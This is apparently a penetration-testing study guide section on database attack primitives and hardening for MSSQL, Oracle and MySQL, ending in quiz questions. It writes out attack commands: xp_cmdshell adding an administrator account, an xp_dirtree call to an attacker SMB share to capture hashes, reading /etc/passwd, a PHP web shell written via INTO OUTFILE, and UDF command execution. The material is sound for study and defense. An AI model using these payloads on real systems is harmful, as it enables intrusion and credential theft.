12.4 Database Attack Vectors, Stored Procedures & Hardening
Key Takeaways
- High-privilege stored procedures and packages allow attackers to pivot from SQL injection to full Operating System compromise.
- Microsoft SQL Server provides xp_cmdshell for executing OS commands as the database service account; if disabled, sysadmins can re-enable it via sp_configure and RECONFIGURE.
- Oracle packages like UTL_FILE, UTL_HTTP, and UTL_TCP enable filesystem manipulation and out-of-band network interaction, while MySQL supports file reading via LOAD_FILE() and arbitrary writing via INTO OUTFILE (governed by secure_file_priv).
- The primary, infallible defense against SQL injection is Parameterized Queries (Prepared Statements), which treat user input strictly as literal parameter data rather than executable code.
- Comprehensive database defense-in-depth requires running services under dedicated low-privilege accounts (gMSAs), restricting listener network interfaces, removing unnecessary extended stored procedures, and enforcing TLS/SSL.
12.4 Database Attack Vectors, Stored Procedures & Hardening
When assessing relational databases during penetration tests, discovering a SQL injection vulnerability is often only the initial stage of exploitation. If a database instance operates with excessive operating system permissions or default procedural features enabled, an attacker can leverage built-in stored procedures, file system primitives, and native extensions to escalate privileges from database access to full Operating System (OS) code execution. Securing database environments requires an understanding of these post-exploitation primitives and the implementation of rigorous defense-in-depth controls.
Operating System Interaction via High-Privilege Stored Procedures
Database vendors equip enterprise engines with extended procedures and system packages designed to facilitate administration, integration, and file management. In the hands of an attacker, these administrative utilities provide direct avenues for host compromise.
+-----------------------------------------------------------------------------+
| HOST INTERACTION PRIMITIVES BY RDBMS |
+-----------------------------------------------------------------------------+
| Engine | OS Command Execution | File Read / Write | Network Outbound |
+--------+--------------------------+----------------------+------------------+
| MSSQL | xp_cmdshell | OLE Automation / | xp_dirtree, |
| | | xp_cmdshell | xp_fileexist |
| Oracle | Java Stored Procedures | UTL_FILE | UTL_HTTP, |
| | | | UTL_TCP, UTL_SMTP|
| MySQL | User-Defined Functions | LOAD_FILE(), | SELECT ... INTO |
| | (UDF shared libraries) | INTO OUTFILE | OUTFILE (UNC) |
+-----------------------------------------------------------------------------+
1. Microsoft SQL Server: xp_cmdshell & Registry Access
In MSSQL, extended stored procedures are Dynamic Link Libraries (DLLs) executed directly within the address space of the database engine. The most prominent procedure is xp_cmdshell.
- Execution Mechanics:
xp_cmdshellaccepts a command string and executes it via the Windows command interpreter (cmd.exe), executing in the security context of the SQL Server service account:EXEC xp_cmdshell 'whoami'; EXEC xp_cmdshell 'net user hacker Password123! /add'; EXEC xp_cmdshell 'net localgroup administrators hacker /add'; - Re-enabling
xp_cmdshell: Starting in SQL Server 2005,xp_cmdshellis disabled by default to reduce the attack surface. However, if an attacker obtains credentials for an account with thesysadminrole (e.g.,saor an escalated web login), they can dynamically re-enable it usingsp_configure:-- Step 1: Allow advanced configuration options to be modified EXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- Step 2: Enable xp_cmdshell EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; - Registry Procedures: MSSQL includes procedures for interacting directly with the Windows Registry, such as
xp_regread(reading registry keys, such as extracting stored passwords or system settings) andxp_regwrite(modifying registry values, such as altering startup services). - UNC Hash Stealing (
xp_dirtree): Even whenxp_cmdshellis strictly disabled and cannot be enabled, unprivileged database users can executexp_dirtreeorxp_fileexistpointing to an attacker's SMB share (e.g.,EXEC master..xp_dirtree '\\10.10.14.5\share'). The underlying Windows host initiates an SMB connection to the attacker, transmitting the database service account's NetNTLM hash, which can be captured with Responder and cracked offline.
2. Oracle RDBMS: Packages & Java Stored Procedures
Oracle does not provide an immediate xp_cmdshell equivalent, but provides powerful PL/SQL packages and an integrated Java Virtual Machine (JVM):
UTL_FILE: A built-in package that allows database users to read and write operating system files on the database server host (subject to directory object permissions).UTL_HTTPandUTL_TCP: Packages that allow the database to initiate outbound HTTP requests and raw TCP connections. Attackers leverage these packages to exfiltrate confidential data out-of-band across network firewalls, or to conduct Server-Side Request Forgery (SSRF) against internal systems.- Java Stored Procedures: If the database user has been granted Java execution permissions (
sys.dbms_java.grant_permission), an attacker can compile a Java execution wrapper directly inside the database engine to spawn native host processes:CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "Exec" AS import java.lang.*; import java.io.*; public class Exec { public static void runCmd(String cmd) throws IOException { Runtime.getRuntime().exec(cmd); } }; /
3. MySQL / MariaDB: File Primitives & User-Defined Functions (UDF)
MySQL provides built-in functions for interacting with the host filesystem, provided the database user has the FILE privilege:
File Read Primitives: LOAD_FILE()
Reads the entire contents of a file on the server and returns it as a string:
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts');
File Write Primitives: SELECT ... INTO OUTFILE
Writes the result of a query directly to a new file on the host filesystem. Attackers commonly leverage this to drop PHP web shells into a web server's document root:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
The Role of secure_file_priv
Modern MySQL installations strictly govern LOAD_FILE() and INTO OUTFILE via the secure_file_priv server variable:
secure_file_priv = NULL: File read and write operations are completely disabled. This is the default in many modern distributions.secure_file_priv = "/var/lib/mysql-files": File imports and exports can only occur within the designated directory.secure_file_priv = ""(Empty): File operations can be conducted in any directory where the MySQL daemon operating system user (mysql) has read or write permissions.
User-Defined Functions (UDF) for Code Execution
If an attacker possesses administrative access to MySQL and the ability to write to the plugin directory (typically /usr/lib/mysql/plugin/ on Linux or lib/plugin on Windows), they can compile a shared library (.so or .dll) implementing custom C functions. Once uploaded, the attacker registers the function:
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
SELECT sys_eval('id');
This executes the command with the privileges of the mysql daemon user.
Database Hardening & Defense-in-Depth
Securing databases against injection, unauthorized enumeration, and privilege escalation requires a multi-layered defensive strategy encompassing software development practices, system architecture, and least-privilege configurations.
+-----------------------------------------------------------------------------+
| DATABASE DEFENSE-IN-DEPTH MATRIX |
+-----------------------------------------------------------------------------+
| Layer | Hardening Measures & Configurations |
+---------------------+-------------------------------------------------------+
| Application Layer | - Parameterized Queries / Prepared Statements (Mandatory)
| | - Safe ORM mapping; avoid raw SQL concatenation |
| | - Strict input validation & contextual encoding |
+---------------------+-------------------------------------------------------+
| Database Engine | - Run under unprivileged service accounts (gMSAs) |
| | - Disable dangerous procedures (xp_cmdshell, OLE) |
| | - Restrict secure_file_priv to NULL |
| | - Enforce strict password policies & rename 'sa'/'root'|
+---------------------+-------------------------------------------------------+
| Network & Transport | - Bind listeners strictly to localhost or private IPs |
| | - Enforce TLS/SSL for all client connections |
| | - Firewall isolation blocking 1433, 1521, 3306, 5432 |
+-----------------------------------------------------------------------------+
Primary Defense: Parameterized Queries (Prepared Statements)
The only infallible defense against SQL Injection is the use of Parameterized Queries (also called Prepared Statements).
Developer writes query template:
SELECT * FROM users WHERE username = ? AND password = ?;
|
v
Database compiles and optimizes template into an Abstract Syntax Tree (AST).
Query structure is permanently fixed in memory.
|
v
Application sends parameters separately: ('admin', 'password123')
Database engine treats inputs STRICTLY as literal data values.
Special characters (', ", --, OR) CANNOT alter the AST query logic.
Because the database pre-compiles the SQL command structure before parameters are bound, user-supplied data can never break out of its data container to be interpreted as SQL instructions.
Code Examples:
- PHP (PDO):
$stmt = $pdo->prepare('SELECT id, name FROM accounts WHERE email = :email'); $stmt->execute(['email' => $userInput]); $user = $stmt->fetch(); - Java (PreparedStatement):
PreparedStatement ps = conn.prepareStatement("SELECT * FROM accounts WHERE user = ?"); ps.setString(1, userInput); ResultSet rs = ps.executeQuery();
Object-Relational Mapping (ORM) Security Considerations
Modern frameworks employ ORMs (such as Hibernate, Entity Framework, Django ORM, or Prisma) to map database records to application objects. While ORMs parameterize standard CRUD operations by default, vulnerabilities are frequently introduced when developers:
- Fall back to raw SQL interfaces (
session.createNativeQuery(...)ordb.raw(...)) and concatenate user input. - Concatenate input into Object Query Languages (such as HQL or JPQL), which are vulnerable to HQL/JPQL Injection.
- Dynamically construct column names, table names, or sort orders (
ORDER BY), which cannot be parameterized via standard SQL prepared statements and require strict whitelist validation.
Safe Stored Procedures vs Dynamic SQL
Stored procedures do not automatically prevent SQL injection. If a stored procedure is written using parameterized constructs, it is safe:
-- SAFE Stored Procedure
CREATE PROCEDURE GetUserById (@UserId INT)
AS
BEGIN
SELECT id, username, email FROM users WHERE id = @UserId;
END;
However, if a stored procedure dynamically concatenates input strings and executes them using EXEC() or sp_executesql, it remains fully vulnerable to SQL injection:
-- DANGEROUS Stored Procedure (Vulnerable to SQLi!)
CREATE PROCEDURE FindUserDynamic (@Username NVARCHAR(50))
AS
BEGIN
DECLARE @sql NVARCHAR(MAX);
SET @sql = 'SELECT * FROM users WHERE username = ''' + @Username + '''';
EXEC(@sql);
END;
Principle of Least Privilege & Service Account Security
- Dedicated Non-Administrative Service Accounts: The database service daemon should never execute as
LocalSystem,root, orAdministrator. In Windows Active Directory environments, database engines should run under Group Managed Service Accounts (gMSAs) or Virtual Service Accounts with restricted local rights. - Application Database Accounts: Web applications should never connect to the database using
sa,SYSTEM, orroot. Applications should use dedicated, least-privilege accounts restricted to only the tables and operations (SELECT,INSERT,UPDATE) required for their function, with administrative privileges revoked. - Dropping / Disabling Procedures: In MSSQL, drop or restrict execution permissions on dangerous extended stored procedures (
xp_cmdshell,xp_dirtree,sp_OACreate). In Oracle, revoke execution permissions onUTL_FILE,UTL_HTTP, andUTL_TCPfromPUBLIC.
Network Isolation & Cryptographic Controls
- Network Binding & Segmentation: Database servers should reside on isolated private subnets or database VLANs, completely inaccessible from the public Internet. Database listeners should bind only to internal interfaces or
127.0.0.1. - Perimeter Firewalls: Strict firewall filtering must block external access to default ports (MSSQL 1433, Oracle 1521, MySQL 3306, PostgreSQL 5432). Only authorized application servers should be permitted to initiate connections.
- Mandatory Encryption: All database listeners must be configured to mandate TLS/SSL encryption (
Force Encryptionin MSSQL,ssl = onin PostgreSQL), protecting credentials and data in transit from eavesdropping and man-in-the-middle tampering.
A penetration tester obtains access to a Microsoft SQL Server instance running under administrative credentials (sa). The tester attempts to run EXEC xp_cmdshell 'whoami', but the server returns an error stating that the component is turned off as part of the security configuration. Which sequence of administrative commands enables the feature?
What is the primary technical mechanism that makes Parameterized Queries (Prepared Statements) resilient against SQL injection attacks regardless of user input?
An attacker identifies an SQL injection vulnerability in a web application backed by MySQL and attempts to write a PHP web shell to the server using SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/shell.php'. The query fails with an error. Which server configuration setting is most likely preventing file creation?
Which built-in Oracle PL/SQL packages are commonly leveraged by penetration testers to interact with the host filesystem and execute out-of-band network communication during post-exploitation?
You've completed this section
Continue exploring other exams